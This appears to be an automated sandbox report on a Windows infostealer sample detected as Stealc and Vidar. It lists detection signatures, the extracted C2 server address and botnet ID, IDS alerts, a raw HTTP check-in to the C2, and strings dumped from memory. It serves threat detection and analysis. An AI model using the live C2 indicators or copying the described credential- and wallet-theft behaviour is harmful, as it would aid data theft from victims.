Edit tour

Windows Analysis Report
Eae0KTw4m1.exe

Overview

General Information

Sample name:	Eae0KTw4m1.exe renamed because original name is a hash value
Original sample name:	62f90cd0cb366fa5daa8aafcdcd16235.exe
Analysis ID:	1532121
MD5:	62f90cd0cb366fa5daa8aafcdcd16235
SHA1:	57fd35c5ba228b3b9127dc42ce3c9db3a8848ea9
SHA256:	c5307c86c06edb2d3aa14c90563cb59ef865ebbe1eae6a4e2d78db35dfdd79e0
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

PE file has a writeable .text section

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Eae0KTw4m1.exe (PID: 7300 cmdline: "C:\Users\user\Desktop\Eae0KTw4m1.exe" MD5: 62F90CD0CB366FA5DAA8AAFCDCD16235)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://178.63.215.77/031d77089be01fd8.php", "Botnet": "7140196255"}

Threatname: Vidar

{"C2 url": "http://178.63.215.77/031d77089be01fd8.php", "Botnet": "7140196255"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Eae0KTw4m1.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Eae0KTw4m1.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1702244271.0000000000721000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1832529832.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: Eae0KTw4m1.exe PID: 7300	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Eae0KTw4m1.exe PID: 7300	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Eae0KTw4m1.exe PID: 7300	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Eae0KTw4m1.exe PID: 7300	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Eae0KTw4m1.exe.720000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.0.Eae0KTw4m1.exe.720000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T14:17:03.090718+0200	2044245	1	Malware Command and Control Activity Detected	178.63.215.77	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T14:17:03.084513+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	178.63.215.77	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T14:17:03.279510+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	178.63.215.77	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T14:17:13.800546+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49730	178.63.215.77	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T14:17:03.801167+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	178.63.215.77	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T14:17:03.289917+0200	2044247	1	Malware Command and Control Activity Detected	178.63.215.77	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T14:17:02.889162+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	178.63.215.77	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T14:17:04.336925+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:07.538017+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:08.440524+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:09.190287+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:09.695435+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:11.435005+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:11.930475+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	178.63.215.77	80	TCP

HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKFHost: 178.63.215.77Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 36 33 36 35 43 32 37 35 35 35 43 33 36 31 35 30 33 30 31 31 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 37 31 34 30 31 39 36 32 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="hwid"76365C27555C3615030116------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="build"7140196255------IIDHJDGCGDAAKEBGDBKF--

Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.php
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.php3
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.php:
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpBR:p
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpPRNqW
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpPRO
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpVB
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpW
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpdus.wallet
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpic
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpition:
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpmin
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpv
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/031d77089be01fd8.phpwser
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/freebl3.dllUu
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/freebl3.dllut
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/mozglue.dll
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/mozglue.dll/u
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/msvcp140.dll
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000161E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/nss3.dllN
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000161E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/nss3.dlli
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/softokn3.dll
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/softokn3.dllCu
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000003.1749883907.0000000001660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/sqlite3.dll
Source: Eae0KTw4m1.exe, 00000000.00000003.1749883907.0000000001660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/sqlite3.dll)
Source: Eae0KTw4m1.exe, 00000000.00000003.1749883907.0000000001660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/sqlite3.dllUu
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/vcruntime140.dll
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a43eb2d9880da9a6/vcruntime140.dll~
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.63.215.77/a5
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://178.63.215.77CAKFI
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Eae0KTw4m1.exe, Eae0KTw4m1.exe, 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1856023910.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FHCAEGCBFHJDGCBFHDAF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000003.1745641121.0000000021A21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000003.1745641121.0000000021A21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
